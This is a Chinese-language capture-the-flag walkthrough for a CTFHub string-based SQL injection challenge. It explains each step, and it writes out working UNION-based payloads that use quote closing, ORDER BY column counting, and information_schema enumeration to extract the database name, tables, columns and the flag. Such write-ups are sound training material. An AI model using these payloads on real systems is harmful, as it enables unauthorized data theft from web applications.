CTFHUB-SQL字符型注入

题目：CTFHub

输入：1

 判读字段数： 1'  order by n #

ORDER BY ：用于根据指定的列对结果集进行排序

order by n 报错（即没有该字段），以此来判断字段，所以此字段数为2

1'，这个 ' 是闭合前面的 '

# 注释，将最后面的 ' 了

联合查询数据库名：-1' union select 1,database()#

出现报错的原因：没有 该（-1） 字段，MySQL对齐报错回显
首先是应用系统未关闭数据库报错函数，对于一些SQL语句的错误，直接回显在了页面上，部分甚至直接泄露数据库名和表名；其次，必不可少就是后台未对MySQL相应的报错函数进行过滤

union：操作符用于合并两个或多个 select 语句的结果集，前后的 select 查询的字段数必须一致

select：查询语句，前为 select * 即 news 表中的所以字段信息，根据 order by 语句，判断字段数，为后注入的 select 1,database() 做准备，1 和 database() 各为一个查询的字段

database()：查看当前数据库

 查询表名：-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema="sqli"#

group_concat()：将字段数据用逗号分隔，再合并

information_schema.tables where table_schema='库名'：查询整个数据库中所有库所对应的表信息

table_name：表名

information_schema.tables：记录表名信息的表

 查询字段名：-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema="sqli" and table_name="flag"#'

column_name：列名

information_schema.columns：记录列名信息的表

 查询数据：-1‘ union select 1,flag from sqli.flag#

select：select 字段 from 表